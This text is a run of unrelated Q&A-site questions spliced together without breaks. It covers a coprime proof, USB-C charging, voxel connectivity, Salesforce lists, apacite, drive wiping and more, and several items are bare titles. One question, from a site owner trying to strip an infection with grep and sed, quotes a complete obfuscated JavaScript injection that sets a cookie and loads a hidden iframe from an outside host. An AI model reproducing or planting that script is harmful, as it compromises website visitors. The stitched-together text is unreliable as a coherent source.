Can anyone help me in proving that two consecutive numbers are co-primes?  My approach:  Let two consecutive numbers are $n$ and $n+1$.  Assume they are not co-primes.  Then $\gcd(n,n+1)=x$, because it can not equal to $1$, $x$ is natural and $x\gt1$  So $x$ divides $n$ as well as $n+1$.  Then $x$ also divides $n+1-n$, by general understanding.  Hence $x$ divides $1$ or $x=1$.  But we have assumed $x\gt 1$.  So by contradiction $n$ &amp; $n+1$ are co-prime.  Is it right or is there any better way to prove that two consecutive numbers are co-prime?
I start with knowing that two numbers are coprime if:  $n*k + m*j = 1$  So, setting $k = a$ and j = $a+1$ I can solve as follows:  $n*a + m*a + a$  Then,  $a(n+m) + m = 1$  Where can I go from here?
I own a 2016 Macbook (with the USB-C charging) - at the time and in response to all of the reports of poor cables and poor chargers, I bought a meter so I could see what the throughput of my cables/chargers was. However, having run some tests I'm now not sure what to consider normal / what is harmless to the battery.   For all tests I used an original Apple C-C cable - though was able to replicate with two third party cables I own.  I have the original Apple block charging at 14.3 V / 1.99 A and a third party block that charges the same.  Another third party block which advertises USB PD and 3 A is currently charging at 20 V / 1.43 A  I've done some research online but I can't find any articles that indicate what a normal USB PD output is relative to the devices that connect to it and would appreciate any guidance / assistance.   TL;DR: Have Apple charger which charges at one voltage/amperage. Bought several others advertised at PD which are higher voltage, lower amperage. Not sure what is 'safe', or 'fast', or does least overall damage to battery. I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =) Can I gift a game via the PlayStation Network? Is it possible to "gift" a game (e.g., Castle Crashers) to someone through the PlayStation Network?  I don't have a PS3 but was considering buying Castle Crashers as a gift for a friend so that we could play co-op.  Is this possible? What is the rationale for all comparisons returning false for IEEE754 NaN values? What exactly are the spikes, or peaks and valleys, caused by in pictures such as these    Wikipedia states that "From the point of view of magnetic energy, peaks and valleys are energetically favorable", but I'm not exactly sure what that means, or how it works. Why isn't the fluid just happy being attracted to the magnet in a semi-sphere shape? Could it be that it gains a magnetic charge, so it attempts to repel itself at the same time? Just pulling at straws here. Do we still need swap partitions on desktops? I have read , but it was asked in the context of servers not desktops or notebooks.  If a good amount of RAM is installed on a notebook, say 8 GB, do we still need a swap space? I'm looking for a good algorithms for the following problem: Given a 3D grid of voxels (which may be either empty or filled), if I pick two non-adjacent voxels, I want to know if they are connected to each other by other voxels.  For example (to illustrate the situation in 2D), where # is a filled square:    1 2 3 a # # # b # # c # # #   If I pick a3 and c3, I want to determine as quickly as possible if they they are connected; if there is a path between a3 and c3 through filled pixels. (The real situation is in a 3D voxel grid, of course.)  I've looked at floodfill algorithms and path finding algorithms, but I'm not sure which to choose. Both do unneccesary work: Flood fill tries to fill all voxels, but this is not needed. Path-finding algorithms are usually concerned with finding the shortest path, which is also not necessary. I only need to know if there is a path.  What algorithm should I be using?  Edit: based on the comments, I think should add the following: the content of the voxels are not known in advance, and also, the algorithm is needed to detect if removal (emptying) of a voxel would cause the group of voxels to break into two or more smaller groups. Film where aliens looking like humans are waiting in an airport closed due to snowstorm I saw the movie 6 - 7 years back on cable tv, from the looks of it it seemed to be made in the late 1990's or early 2000's. Unfortunately I could not see the complete movie. The story goes like--   Some people are waiting at a small airport because snowstorm activity has cancelled all flights in and out. There are two children in the group as well (one boy and a girl). Somehow they discover there are aliens looking like humans among them. They decide to check passengers through baggage scanners (checking the skeletal structure via x-ray). They find and kill 2 aliens.   and the big twist:      5. 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I am trying to add a list into an another nested list before adding values of a list to nested list it is getting the correct value but after adding i am getting (already output) in debug log when i checked.    public List&lt;String&gt; fieldName {get;set;}  public List&lt;List&lt;String&gt;&gt; fileValuesXML; // To get the field values of xml  for(Dom.XMLNode child : SalesforceObjecet.getChildElements()) {                        objecetName = child.getText();             system.debug('Object Name in XML field  ' + objecetName );              for(Dom.XMLNode subchild : child.getChildElements())              {                 system.debug('Sub child ' + subchild.getText() );                 for(Dom.XMLNode subchildfield : subchild.getChildElements())                 {                     system.debug('Sub child Field ' + subchildfield );                     fName  = subchildfield.getText();                     fieldName.add(fName);                     //fileValuesXML.add(fieldName);                     //system.debug('Filed Name in XML field  ' + fieldName);                 }                  system.debug('Filed Name before affing to filevalueXML  ' + fieldName);                                     fileValuesXML.add(fieldName);                 fieldName.clear();                 system.debug('Filed Name after affing to filevalueXML  ' + fileValuesXML);             }    }    I am getting values in debug log as:     Filed Name before affing to filevalueXML  (AccountSource, field3)   Filed Name after affing to filevalueXML  ((), (already output),   (already output)) I am writing a doctoral thesis and I am using  to set the references in APA (American Psychological Association) format. Mostly this has worked perfectly fine, but I would like to suppress the author initials from the compiled version (in-text, not in the end references section). This happens because there are multiple authors with the same name e.g.,     Smith and Jones (1992) or Wells and Smith (1901)    are typeset in-text as:      I. Smith and Jones (1992) or Wells and D. Smith (1901).   Although it may be correct to have the initial in-text in APA format, in reality I am using BPS (British Psychological Society) format, which uses an adapted APA format (and you guessed it, they don't like the initial in text). Thus in-text should look like the first example above (without initial) but looks like the second (with).  To clarify: Any ideas on how to suppress the initial in-text in apacite?  Thanks.  ps. I understand that I could do it with a different bibtex style, but my question pertains to apacite. I have 3 old 3.5" internal hard drives sitting gathering dust at the moment. 2 are SATA, and one IDE. I want to either start putting them to use, or dispose of them to clear up some space.  What is the best approach towards disposing of the drives in terms of thoroughly cleaning the contents before throwing away or selling? Are there any recommendations for good software to use to do this?   Are there any 100% successful methods which result in having a usable drive at the end? I'm on the hunt for a great sounding, non-in-ear set of headphones with working mic, play/pause, and volume buttons.  I have Bang &amp; Olufsen's , which are among the best sounding headphones I've ever used. And all three button work perfectly in my MacBook Air and iPhone.  Obviously they don't work perfectly in my Nexus 4, since Android devices uses a different way of reading volume up/down buttons.  So, my question is rather simple, does anyone know how to make them work with Android, or alternatively any equally good headphones to the EarSet 3i's that work on Android? And to make it extra challenging, no in-ear ones please, cause I can't stand them :(  Or maybe anyone knows of some kind of adapter cable that can be used between an Android phone and iPhone compatible headphones to translate the volume button signals so the Android device understands them? Unity Performance: How many Materials per Object? I have a desktop (Ubuntu 13.04 &amp; Win 7 Home Premium) and a Laptop (Ubuntu 12.04), both having WiFi adapters. I also have a WiFi router connected to internet which both my computers can access.  I want to share files between my desktop and my laptop using WiFi (similar to Homegroup on Windows 7 but without using Ethernet cables).  How do I set-up that?  I want to share files using both OSs, if anyone have have information about sharing files with any of the OS please answer! Python: Find a substring in a string and returning the index of the substring Why does the symbol for the multiplication operation change shape? Why does the "$\times$" used in arithmetic change to a "$\cdot$" as we progress through education? The symbol seems to only be ambiguous because of the variable $x$; however, we wouldn't have chosen the variable $x$ unless we were already removing $\times$ as the symbol for multiplication. So why do we? I am very curious. It seems like $\times$ is already quite sufficient as a descriptive symbol. Video editing. Audio and Video strip have different length